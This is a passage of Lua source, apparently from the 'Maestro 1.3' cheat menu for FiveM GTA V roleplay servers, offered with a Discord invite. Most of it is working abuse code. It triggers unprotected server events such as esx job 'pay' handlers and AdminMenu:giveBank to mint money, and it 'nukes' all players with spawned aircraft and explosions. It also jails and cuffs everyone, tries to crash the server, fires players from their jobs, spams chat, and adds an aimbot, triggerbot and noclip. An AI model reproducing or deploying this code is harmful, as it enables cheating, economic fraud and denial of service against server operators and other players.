  1461. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1462. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1463. CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true)
  1464. end
  1465. end
  1466. end
  1467. )
  1468. end
  1469.  
  1470. local function fv()
  1471. local cb = KeyboardInput('Enter Vehicle Spawn Name', '', 100)
  1472. local cw = KeyboardInput('Enter Vehicle Licence Plate', '', 100)
  1473. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  1474. RequestModel(cb)
  1475. while not HasModelLoaded(cb) do
  1476. Citizen.Wait(0)
  1477. end
  1478. local veh =
  1479. CreateVehicle(
  1480. GetHashKey(cb),
  1481. GetEntityCoords(PlayerPedId(-1)),
  1482. GetEntityHeading(PlayerPedId(-1)),
  1483. true,
  1484. true
  1485. )
  1486. SetVehicleNumberPlateText(veh, cw)
  1487. local cx = ESX.Game.GetVehicleProperties(veh)
  1488. TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
  1489. av('~g~~h~Success', false)
  1490. else
  1491. av('~b~~h~Model is not valid !', true)
  1492. end
  1493. end
  1494.  
  1495. if nuke then
  1496. Citizen.CreateThread(
  1497. function()
  1498. local dj = 'Avenger'
  1499. local dk = 'CARGOPLANE'
  1500. local dl = 'luxor'
  1501. local dm = 'maverick'
  1502. local dn = 'blimp2'
  1503. while not HasModelLoaded(GetHashKey(dk)) do
  1504. Citizen.Wait(0)
  1505. RequestModel(GetHashKey(dk))
  1506. end
  1507. while not HasModelLoaded(GetHashKey(dl)) do
  1508. Citizen.Wait(0)
  1509. RequestModel(GetHashKey(dl))
  1510. end
  1511. while not HasModelLoaded(GetHashKey(dj)) do
  1512. Citizen.Wait(0)
  1513. RequestModel(GetHashKey(dj))
  1514. end
  1515. while not HasModelLoaded(GetHashKey(dm)) do
  1516. Citizen.Wait(0)
  1517. RequestModel(GetHashKey(dm))
  1518. end
  1519. while not HasModelLoaded(GetHashKey(dn)) do
  1520. Citizen.Wait(0)
  1521. RequestModel(GetHashKey(dn))
  1522. end
  1523. for bD = 5, 5 do
  1524. TriggerServerEvent(
  1525. '_chat:messageEntered',
  1526. 'Maestro 1.3',
  1527. {
  1528. 0,
  1529. 0,
  1530. 0
  1531. },
  1532. '^' .. bD .. 'Maestro 1.3 ∑ https://discord.gg/DAhzN6q'
  1533. )
  1534. end
  1535. for i = 0, 128 do
  1536. local dl =
  1537. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  1538. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  1539. CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  1540. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  1541. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  1542. CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  1543. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  1544. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  1545. CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  1546. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  1547. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  1548. CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  1549. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  1550. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  1551. CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  1552. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0) and
  1553. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
  1554. end
  1555. end
  1556. )
  1557. end
  1558.  
  1559. if crosshair5 then
  1560. ShowHudComponentThisFrame(14)
  1561. end
  1562.  
  1563. if crosshair2 then
  1564. bz('~r~+', 0.495, 0.484)
  1565. end
  1566.  
  1567. if VehSpeed and IsPedInAnyVehicle(PlayerPedId(), true) then
  1568. if IsControlPressed(0, 118) then
  1569. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 70.0)
  1570. elseif IsControlPressed(0, 109) then
  1571. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 0.0)
  1572. end
  1573. end
  1574.  
  1575. if TriggerBot then
  1576. local dp, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1), Entity)
  1577. if dp then
  1578. if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
  1579. ShootPlayer(Entity)
  1580. end
  1581. end
  1582. end
  1583.  
  1584. if AimBot then
  1585. if IsPlayerFreeAiming(PlayerId()) then
  1586. local TargetPed = getEntity(PlayerId())
  1587. local TargetPos = GetEntityCoords(TargetPed)
  1588. local Exist = DoesEntityExist(TargetPed)
  1589. local Dead = IsPlayerDead(TargetPed)
  1590.  
  1591. if Exist and not Dead and IsEntityAPed(TargetPed) then
  1592. local OnScreen, ScreenX, ScreenY = World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
  1593. if IsEntityVisible(TargetPed) and OnScreen then
  1594. if HasEntityClearLosToEntity(PlayerPedId(), TargetPed, 100000) then
  1595. local TargetCoords = GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
  1596. SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
  1597. SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
  1598. end
  1599. end
  1600. end
  1601. end
  1602. end
  1603.  
  1604.  
  1605. DisplayRadar(true)
  1606.  
  1607. if RainbowVeh then
  1608. local ra = RGBRainbow(1.0)
  1609. SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r, ra.g, ra.b)
  1610. SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r, ra.g, ra.b)
  1611. end
  1612.  
  1613. if Noclip then
  1614. local currentSpeed = 2
  1615. local noclipEntity =
  1616. IsPedInAnyVehicle(PlayerPedId(), false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
  1617. FreezeEntityPosition(PlayerPedId(), true)
  1618. SetEntityInvincible(PlayerPedId(), true)
  1619.  
  1620. local newPos = GetEntityCoords(entity)
  1621.  
  1622. DisableControlAction(0, 32, true) --MoveUpOnly
  1623. DisableControlAction(0, 268, true) --MoveUp
  1624.  
  1625. DisableControlAction(0, 31, true) --MoveUpDown
  1626.  
  1627. DisableControlAction(0, 269, true) --MoveDown
  1628. DisableControlAction(0, 33, true) --MoveDownOnly
  1629.  
  1630. DisableControlAction(0, 266, true) --MoveLeft
  1631. DisableControlAction(0, 34, true) --MoveLeftOnly
  1632.  
  1633. DisableControlAction(0, 30, true) --MoveLeftRight
  1634.  
  1635. DisableControlAction(0, 267, true) --MoveRight
  1636. DisableControlAction(0, 35, true) --MoveRightOnly
  1637.  
  1638. DisableControlAction(0, 44, true) --Cover
  1639. DisableControlAction(0, 20, true) --MultiplayerInfo
  1640.  
  1641. local yoff = 0.0
  1642. local zoff = 0.0
  1643.  
  1644. if GetInputMode() == "MouseAndKeyboard" then
  1645. if IsDisabledControlPressed(0, 32) then
  1646. yoff = 0.5
  1647. end
  1648. if IsDisabledControlPressed(0, 33) then
  1649. yoff = -0.5
  1650. end
  1651. if IsDisabledControlPressed(0, 34) then
  1652. SetEntityHeading(PlayerPedId(), GetEntityHeading(PlayerPedId()) + 3.0)
  1653. end
  1654. if IsDisabledControlPressed(0, 35) then
  1655. SetEntityHeading(PlayerPedId(), GetEntityHeading(PlayerPedId()) - 3.0)
  1656. end
  1657. if IsDisabledControlPressed(0, 44) then
  1658. zoff = 0.21
  1659. end
  1660. if IsDisabledControlPressed(0, 20) then
  1661. zoff = -0.21
  1662. end
  1663. end
  1664.  
  1665. newPos =
  1666. GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0, yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
  1667.  
  1668. local heading = GetEntityHeading(noclipEntity)
  1669. SetEntityVelocity(noclipEntity, 0.0, 0.0, 0.0)
  1670. SetEntityRotation(noclipEntity, 0.0, 0.0, 0.0, 0, false)
  1671. SetEntityHeading(noclipEntity, heading)
  1672.  
  1673. SetEntityCollision(noclipEntity, false, false)
  1674. SetEntityCoordsNoOffset(noclipEntity, newPos.x, newPos.y, newPos.z, true, true, true)
  1675.  
  1676. FreezeEntityPosition(noclipEntity, false)
  1677. SetEntityInvincible(noclipEntity, false)
  1678. SetEntityCollision(noclipEntity, true, true)
  1679. end
  1680. end
  1681. end
  1682. )
  1683.  
  1684. function GetPlayers()
  1685. local players = {}
  1686.  
  1687. for i = 0, 128 do
  1688. if NetworkIsPlayerActive(i) then
  1689. table.insert(players, i)
  1690. end
  1691. end
  1692.  
  1693. return players
  1694. end
  1695.  
  1696. --[[Citizen.CreateThread(
  1697. function()
  1698. local blips = {}
  1699. local currentPlayer = PlayerId()
  1700.  
  1701. while true do
  1702. Wait(100)
  1703.  
  1704. local players = GetPlayers()
  1705.  
  1706. for player = 0, 64 do
  1707. if player ~= currentPlayer and NetworkIsPlayerActive(player) then
  1708. local playerPed = GetPlayerPed(player)
  1709. local playerName = GetPlayerName(player)
  1710.  
  1711. RemoveBlip(blips[player])
  1712.  
  1713. local new_blip = AddBlipForEntity(playerPed)
  1714.  
  1715. ped = GetPlayerPed(id)
  1716. blip = GetBlipFromEntity(ped)
  1717.  
  1718. SetBlipSprite(new_blip, 1)
  1719.  
  1720. -- Enable text on blip
  1721. SetBlipCategory(new_blip, 2)
  1722.  
  1723. -- Add player name to blip
  1724. SetBlipNameToPlayerName(new_blip, player)
  1725. --SetBlipNameToPlayerName( blip, id ) -- update blip name
  1726.  
  1727. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh))) -- update rotation
  1728. -- Make blip white
  1729. --SetBlipColour(new_blip, player )
  1730.  
  1731. -- Set the blip to shrink when not on the minimap
  1732. -- Citizen.InvokeNative(0x2B6D467DAB714E8D, new_blip, true)
  1733.  
  1734. -- Shrink player blips slightly
  1735. SetBlipScale(new_blip, 1.2)
  1736.  
  1737. -- Add nametags above head
  1738. Citizen.InvokeNative(0xBFEFE3321A3F5015, playerPed, playerName, false, false, "", false)
  1739.  
  1740. -- Record blip so we don't keep recreating it
  1741. blips[player] = new_blip
  1742. end
  1743. end
  1744. end
  1745. end
  1746. )]]--
  1747. function FirePlayer(SelectedPlayer)
  1748. if ESX then
  1749. ESX.TriggerServerCallback('esx_society:getOnlinePlayers', function(players)
  1750.  
  1751. local playerMatch = nil
  1752. for i=1, #players, 1 do
  1753. label = players[i].name
  1754. value = players[i].source
  1755. name = players[i].name
  1756. if name == GetPlayerName(SelectedPlayer) then
  1757. playerMatch = players[i].identifier
  1758. debugLog('found ' .. players[i].name .. ' ' .. players[i].identifier)
  1759. end
  1760. identifier = players[i].identifier
  1761. end
  1762.  
  1763.  
  1764.  
  1765. ESX.TriggerServerCallback('esx_society:setJob', function()
  1766. end, playerMatch, 'unemployed', 0, 'hire')
  1767.  
  1768. end)
  1769. end
  1770. end
  1771.  
  1772. Citizen.CreateThread(
  1773. function()
  1774. FreezeEntityPosition(entity, false)
  1775. local currentItemIndex = 1
  1776. local selectedItemIndex = 1
  1777.  
  1778.  
  1779. MaestroMenu.CreateMenu("MainMenu", "~w~Maestro ∑")
  1780. MaestroMenu.SetSubTitle("MainMenu", "~w~Maestro Version 1.3")
  1781. MaestroMenu.CreateSubMenu("SelfMenu", "MainMenu", "Self Menu")
  1782. MaestroMenu.CreateSubMenu("Xposed", "MainMenu", "Xposed")
  1783. MaestroMenu.CreateSubMenu("Destroyer", "MainMenu", "Destroyer")
  1784. MaestroMenu.CreateSubMenu("VehMenu", "MainMenu", "Vehicle Menu")
  1785. MaestroMenu.CreateSubMenu("ServerMenu", "MainMenu", "LUA Execution")
  1786. MaestroMenu.CreateSubMenu("TeleportMenu", "MainMenu", "Teleport Menu")
  1787. MaestroMenu.CreateSubMenu('OnlinePlayerMenu', 'MainMenu', 'Online Player Menu')
  1788. MaestroMenu.CreateSubMenu('PlayerOptionsMenu', 'OnlinePlayerMenu', 'Player Options')
  1789. MaestroMenu.CreateSubMenu('SingleWepPlayer', 'OnlinePlayerMenu', 'Single Weapon Menu')
  1790. MaestroMenu.CreateSubMenu("WepMenu", "MainMenu", "Weapon Menu")
  1791. MaestroMenu.CreateSubMenu("SingleWepMenu", "WepMenu", "Single Weapon Menu")
  1792. MaestroMenu.CreateSubMenu("ESXBoss", "ServerMenu", "ESX Boss Menus")
  1793. MaestroMenu.CreateSubMenu("ESXMoney", "ServerMenu", "ESX Money Options")
  1794. MaestroMenu.CreateSubMenu("VRPMoney", "Mainmenu", "VRP Money")
  1795. MaestroMenu.CreateSubMenu("ESXMisc", "ServerMenu", "ESX Misc Options")
  1796. MaestroMenu.CreateSubMenu("ESXDrugs", "ServerMenu", "ESX Drugs")
  1797. MaestroMenu.CreateSubMenu("MiscServerOptions", "ServerMenu", "Misc Server Options")
  1798. MaestroMenu.CreateSubMenu("RecrutarPlayers", "ServerMenu", "Recrutar Players")
  1799. MaestroMenu.CreateSubMenu("RecrutarPlayersOptions", "RecrutarPlayers", "Recrutar Players options")
  1800. MaestroMenu.CreateSubMenu('BoostMenu', 'VehMenu', 'Vehicle Boost ~b~>~s~')
  1801. MaestroMenu.CreateSubMenu('PowerBoostMenu', 'BoostMenu', 'Power Boost ~b~>~s~')
  1802. MaestroMenu.CreateSubMenu('TorqueBoostMenu', 'BoostMenu', 'Torque Boost ~b~>~s~')
  1803.  
  1804.  
  1805. local SelectedPlayer
  1806.  
  1807. while Enabled do
  1808. if MaestroMenu.IsMenuOpened("MainMenu") then
  1809. drawNotification("~w~Maestro by ~r~Cat ~w~and ~g~Flacko") --You are actually pathetic if you edit this menu. -Cat & Flacko
  1810. drawNotification("~g~Official Discord: ~r~https://discord.gg/DAhzN6q")
  1811. drawNotification("~r~Version ~b~1.~g~3")
  1812. if MaestroMenu.MenuButton("~w~Player ~w~Menu ", "SelfMenu") then
  1813. elseif MaestroMenu.MenuButton("~w~Online ~w~Players ", "OnlinePlayerMenu") then
  1814. elseif MaestroMenu.MenuButton("~w~ESP ~w~Menu ", "Xposed") then
  1815. elseif MaestroMenu.MenuButton("~w~Teleport ~w~Menu ", "TeleportMenu") then
  1816. elseif MaestroMenu.MenuButton("~w~Vehicle ~w~Menu ", "VehMenu") then
  1817. elseif MaestroMenu.MenuButton("~w~Weapon ~w~Menu ", "WepMenu") then
  1818. elseif MaestroMenu.MenuButton("~r~Server ~r~Options ~w~∑ ", "Destroyer") then
  1819. elseif MaestroMenu.MenuButton("~w~Triggerevent menu ~w~ ", "ServerMenu") then
  1820. elseif MaestroMenu.MenuButton("~w~VRP trigger ~w~ ", "VRPMoney") then
  1821. elseif MaestroMenu.Button("~r~Close Menu") then
  1822. Enabled = false
  1823. elseif MaestroMenu.Button("~w~By ~r~cat ~w~and ~g~flacko" ) then
  1824. Enabled = false
  1825. end
  1826.  
  1827. MaestroMenu.Display()
  1828. elseif MaestroMenu.IsMenuOpened("SelfMenu") then
  1829. if
  1830. MaestroMenu.CheckBox(
  1831. "~g~God ~r~Mode",
  1832. Godmode,
  1833. function(enabled)
  1834. Godmode = enabled
  1835. end
  1836. )
  1837. then
  1838. elseif MaestroMenu.CheckBox("~w~Infinite ~y~Stamina",InfStamina,function(enabled)InfStamina = enabled end) then
  1839. elseif MaestroMenu.Button("~r~Suicide") then
  1840. SetEntityHealth(PlayerPedId(), 0)
  1841. elseif MaestroMenu.Button("~w~Revive ~g~ESX") then
  1842. TriggerEvent("esx_ambulancejob:revive")
  1843. elseif MaestroMenu.Button("~g~Heal") then
  1844. SetEntityHealth(PlayerPedId(), 200)
  1845. elseif MaestroMenu.Button("~b~Armour") then
  1846. SetPedArmour(PlayerPedId(), 200)
  1847. elseif MaestroMenu.Button("~w~Maestro swipe ~g~(500k+)") then
  1848. TriggerServerEvent("esx_godirtyjob:pay", 500000)
  1849. TriggerServerEvent("esx_pizza:pay", 500000)
  1850. TriggerServerEvent("esx_slotmachine:sv:2", 500000)
  1851. TriggerServerEvent("esx_banksecurity:pay", 500000)
  1852. TriggerServerEvent('AdminMenu:giveDirtyMoney', 500000)
  1853. TriggerServerEvent('AdminMenu:giveBank', 500000)
  1854. TriggerServerEvent("AdminMenu:giveCash", 500000)
  1855. TriggerServerEvent("esx_gopostaljob:pay", 500000)
  1856. TriggerServerEvent("AdminMenu:giveBank", 500000)
  1857. TriggerServerEvent("esx_truckerjob:pay", 500000)
  1858. TriggerServerEvent("esx_carthief:pay", 500000)
  1859. TriggerServerEvent("esx_garbagejob:pay", 500000)
  1860. TriggerServerEvent("esx_ranger:pay", 500000)
  1861. TriggerServerEvent("esx_truckersjob:payy", 500000)
  1862. PlaySoundFrontend(-1, "ROBBERY_MONEY_TOTAL", "HUD_FRONTEND_CUSTOM_SOUNDSET", true)
  1863. drawNotification("~g~Card succesfully swiped")
  1864. elseif MaestroMenu.Button("~w~Taxi ~g~ESX Succes x10.000") then
  1865. a=1 repeat TriggerServerEvent('esx_taxijob:success') a=a+1 until (a>10000)
  1866. elseif MaestroMenu.Button("~w~Maestro ~b~VRP ~w~swipe ~g~(500k+)") then
  1867. TriggerServerEvent("dropOff", 100000)
  1868. TriggerServerEvent('PayForRepairNow',-100000)
  1869. drawNotification("~g~Card succesfully swiped, VRP style")
  1870. elseif MaestroMenu.Button("~w~Maestro ~b~VRP ~w~Salary ~g~(10x)") then
  1871. a=1 repeat TriggerServerEvent('paycheck:salary') a=a+1 until (a>10)
  1872. a=1 repeat TriggerServerEvent('paycheck:bonus') a=a+1 until (a>10)
  1873. elseif MaestroMenu.Button("~w~Set hunger to ~g~100%") then
  1874. TriggerEvent("esx_status:set", "hunger", 1000000)
  1875. elseif MaestroMenu.Button("~w~Set thirst to ~g~100%") then
  1876. TriggerEvent("esx_status:set", "thirst", 1000000)
  1877. elseif MaestroMenu.Button("~w~Open Menu Jail ~g~ESX") then
  1878. TriggerEvent("esx-qalle-jail:openJailMenu")
  1879. elseif MaestroMenu.Button("~w~Unjail") then
  1880. TriggerServerEvent('esx_jailer:unjailTime', -1)
  1881. TriggerServerEvent('JailUpdate', 0)
  1882. TriggerEvent('UnJP')
  1883. elseif
  1884. MaestroMenu.CheckBox(
  1885. "~w~Super Jump",
  1886. SuperJump,
  1887. function(enabled)
  1888. SuperJump = enabled
  1889. end)
  1890. then
  1891. elseif
  1892. MaestroMenu.CheckBox(
  1893. "~w~Explosive Punch",
  1894. ePunch,
  1895. function(enabled)
  1896. ePunch = enabled
  1897. end)
  1898. then
  1899. elseif
  1900. MaestroMenu.CheckBox("~w~Speed Demon",SpeedDemon,
  1901. function(enabled)SpeedDemon = enabled end)
  1902. then
  1903. elseif
  1904. MaestroMenu.CheckBox(
  1905. "~w~Invisible",
  1906. Invisible,
  1907. function(enabled)
  1908. Invisible = enabled
  1909. end)
  1910. then
  1911. elseif
  1912. MaestroMenu.CheckBox("~w~NoClip",Noclip,function(enabled)Noclip = enabled end)
  1913. then
  1914. end
  1915.  
  1916. MaestroMenu.Display()
  1917. elseif MaestroMenu.IsMenuOpened("TeleportMenu") then
  1918. if MaestroMenu.Button("~w~Teleport ~g~Waypoint") then
  1919. TeleportToWaypoint()
  1920. elseif MaestroMenu.Button("~w~Teleport ~g~Vehicle ~r~NW") then
  1921. drawNotification("~y~No working wait next update fix")
  1922. end
  1923.  
  1924. MaestroMenu.Display()
  1925. elseif MaestroMenu.IsMenuOpened("Xposed") then
  1926. if
  1927. MaestroMenu.CheckBox(
  1928. "~w~ESP",
  1929. esp,
  1930. function(enabled)
  1931. esp = enabled
  1932. end)
  1933. then
  1934. elseif
  1935. MaestroMenu.CheckBox(
  1936. "~w~Players Blips Map",
  1937. playerBlips,
  1938. function(enabled)
  1939. playerBlips = enabled
  1940. end)
  1941. then
  1942. elseif
  1943. MaestroMenu.CheckBox(
  1944. "Original crosshair",
  1945. crosshair5,
  1946. function(enabled)
  1947. crosshair5 = enabled
  1948. end)
  1949. then
  1950. elseif
  1951. MaestroMenu.CheckBox(
  1952. "~r~AimBot",
  1953. AimBot,
  1954. function(enabled)
  1955. AimBot = enabled
  1956. end)
  1957. then
  1958. end
  1959.  
  1960. MaestroMenu.Display()
  1961. elseif MaestroMenu.IsMenuOpened("Destroyer") then
  1962. if MaestroMenu.Button("~r~All Weapons ~y~Players") then
  1963. for ids = 0, 128 do
  1964. if ids ~= PlayerId() and GetPlayerServerId(ids) ~= 0 then
  1965. for i = 1, #allWeapons do
  1966. GiveWeaponToPed(PlayerPedId(ids), GetHashKey(allWeapons[i]), 1000, false, false)
  1967. end
  1968. end
  1969. end
  1970. elseif MaestroMenu.Button("~r~Remove All Weapons ~w~Players") then
  1971. for ids = 0, 128 do
  1972. if ids ~= PlayerId() and GetPlayerServerId(ids) ~= 0 then
  1973. for i = 1, #allWeapons do
  1974. RemoveAllPedWeapons(PlayerPedId(ids), true)
  1975. end
  1976. end
  1977. end
  1978. elseif MaestroMenu.Button('~r~Bottle ~w~All Players') then
  1979. for i = 0, 128 do
  1980. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  1981. local eb = 'xs_prop_plastic_bottle_wl'
  1982. local ec = GetHashKey(eb)
  1983. while not HasModelLoaded(ec) do
  1984. Citizen.Wait(0)
  1985. RequestModel(ec)
  1986. end
  1987. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  1988. AttachEntityToEntity(
  1989. ed,
  1990. GetVehiclePedIsIn(GetPlayerPed(i), false),
  1991. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
  1992. 0,
  1993. 0,
  1994. -1.0,
  1995. 0.0,
  1996. 0.0,
  1997. 0,
  1998. true,
  1999. true,
  2000. false,
  2001. true,
  2002. 1,
  2003. true
  2004. )
  2005. else
  2006. local eb = 'xs_prop_plastic_bottle_wl'
  2007. local ec = GetHashKey(eb)
  2008. while not HasModelLoaded(ec) do
  2009. Citizen.Wait(0)
  2010. RequestModel(ec)
  2011. end
  2012. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2013. AttachEntityToEntity(
  2014. ed,
  2015. GetPlayerPed(i),
  2016. GetPedBoneIndex(GetPlayerPed(i), 0),
  2017. 0,
  2018. 0,
  2019. -1.0,
  2020. 0.0,
  2021. 0.0,
  2022. 0,
  2023. true,
  2024. true,
  2025. false,
  2026. true,
  2027. 1,
  2028. true
  2029. )
  2030. end
  2031. end
  2032. elseif MaestroMenu.Button('~r~Windmill ~w~All Players') then
  2033. for i = 0, 128 do
  2034. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  2035. local eb = 'prop_windmill_01'
  2036. local ec = GetHashKey(eb)
  2037. while not HasModelLoaded(ec) do
  2038. Citizen.Wait(0)
  2039. RequestModel(ec)
  2040. end
  2041. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2042. AttachEntityToEntity(
  2043. ed,
  2044. GetVehiclePedIsIn(GetPlayerPed(i), false),
  2045. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
  2046. 0,
  2047. 0,
  2048. -1.0,
  2049. 0.0,
  2050. 0.0,
  2051. 0,
  2052. true,
  2053. true,
  2054. false,
  2055. true,
  2056. 1,
  2057. true
  2058. )
  2059. else
  2060. local eb = 'prop_windmill_01'
  2061. local ec = GetHashKey(eb)
  2062. while not HasModelLoaded(ec) do
  2063. Citizen.Wait(0)
  2064. RequestModel(ec)
  2065. end
  2066. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2067. AttachEntityToEntity(
  2068. ed,
  2069. GetPlayerPed(i),
  2070. GetPedBoneIndex(GetPlayerPed(i), 0),
  2071. 0,
  2072. 0,
  2073. -1.0,
  2074. 0.0,
  2075. 0.0,
  2076. 0,
  2077. true,
  2078. true,
  2079. false,
  2080. true,
  2081. 1,
  2082. true
  2083. )
  2084. end
  2085. end
  2086. elseif
  2087. MaestroMenu.CheckBox(
  2088. "~r~Nuke ~w~All Players",
  2089. nuke,
  2090. function(enabled)
  2091. nuke = enabled
  2092. end)
  2093. then
  2094. elseif
  2095. MaestroMenu.Button(
  2096. "~r~Nuke ~w~Server ~w~economy ~g~ESX",
  2097. esxdestroy,
  2098. function(enabled)
  2099. esxdestroy = enabled
  2100. end)
  2101. then
  2102. elseif
  2103. MaestroMenu.CheckBox(
  2104. "~r~Jail ~w~All Players",
  2105. banallusers,
  2106. function(enabled)
  2107. banallusers = enabled
  2108. end)
  2109. then
  2110. elseif
  2111. MaestroMenu.CheckBox(
  2112. "~r~Cuff ~w~All Players",
  2113. freezeall,
  2114. function(enabled)
  2115. freezeall = enabled
  2116. end)
  2117. then
  2118. elseif
  2119. MaestroMenu.CheckBox(
  2120. "~r~Try To Crash ~w~Server",
  2121. servercrasher,
  2122. function(enabled)
  2123. servercrasher = enabled
  2124. end)
  2125. then
  2126. end
  2127. -- weapon
  2128. MaestroMenu.Display()
  2129. elseif MaestroMenu.IsMenuOpened("WepMenu") then
  2130. if MaestroMenu.MenuButton("~w~Specific Weapon", "SingleWepMenu") then
  2131. elseif MaestroMenu.Button("~g~Give ~w~All Weapons") then
  2132. for i = 1, #allWeapons do
  2133. GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 1000, false, false)
  2134. end
  2135. elseif MaestroMenu.Button("~r~Remove ~w~All Weapons") then
  2136. for i = 1, #allWeapons do
  2137. RemoveAllPedWeapons(PlayerPedId(), true)
  2138. end
  2139. elseif MaestroMenu.Button("~w~Give Ammo") then
  2140. for i = 1, #allWeapons do
  2141. AddAmmoToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 200)
  2142. end
  2143.  
  2144. elseif
  2145. MaestroMenu.CheckBox(
  2146. "~w~Infinite Ammo",
  2147. InfAmmo,
  2148. function(enabled)
  2149. InfAmmo = enabled
  2150. SetPedInfiniteAmmoClip(PlayerPedId(), InfAmmo)
  2151. end
  2152. )
  2153. then
  2154. elseif
  2155. MaestroMenu.CheckBox("~w~Vehicle Gun",VehicleGun,
  2156. function(enabled)VehicleGun = enabled end)
  2157. then
  2158. elseif
  2159. MaestroMenu.CheckBox("~y~Delete Gun",DeleteGun,
  2160. function(enabled)DeleteGun = enabled end)
  2161. then
  2162. end
  2163.  
  2164. MaestroMenu.Display()
  2165. elseif MaestroMenu.IsMenuOpened("SingleWepMenu") then
  2166. for i = 1, #allWeapons do
  2167. if MaestroMenu.Button(allWeapons[i]) then
  2168. GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 1000, false, false)
  2169. end
  2170. end
  2171.  
  2172. -- boost menu
  2173. MaestroMenu.Display()
  2174. elseif MaestroMenu.IsMenuOpened("BoostMenu") then
  2175. if MaestroMenu.MenuButton('Power Boost', 'PowerBoostMenu') then
  2176. elseif MaestroMenu.MenuButton('Torque Boost', 'TorqueBoostMenu') then
  2177. end
  2178.  
  2179. MaestroMenu.Display()
  2180. elseif MaestroMenu.IsMenuOpened('PowerBoostMenu') then
  2181. if MaestroMenu.Button('Engine Power boost reset') then
  2182. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1.0)
  2183. elseif MaestroMenu.Button('Engine Power boost ~g~x2') then
  2184. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
  2185. elseif MaestroMenu.Button('Engine Power boost ~g~x4') then
  2186. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
  2187. elseif MaestroMenu.Button('Engine Power boost ~g~x8') then
  2188. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8.0 * 20.0)
  2189. elseif MaestroMenu.Button('Engine Power boost ~g~x16') then
  2190. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
  2191. elseif MaestroMenu.Button('Engine Power boost ~g~x32') then
  2192. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 32.0 * 20.0)
  2193. elseif MaestroMenu.Button('Engine Power boost ~g~x64') then
  2194. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 64.0 * 20.0)
  2195. elseif MaestroMenu.Button('Engine Power boost ~g~x128') then
  2196. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 128.0 * 20.0)
  2197. elseif MaestroMenu.Button('Engine Power boost ~g~x256') then
  2198. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 256.0 * 20.0)
  2199. elseif MaestroMenu.Button('Engine Power boost ~g~x512') then
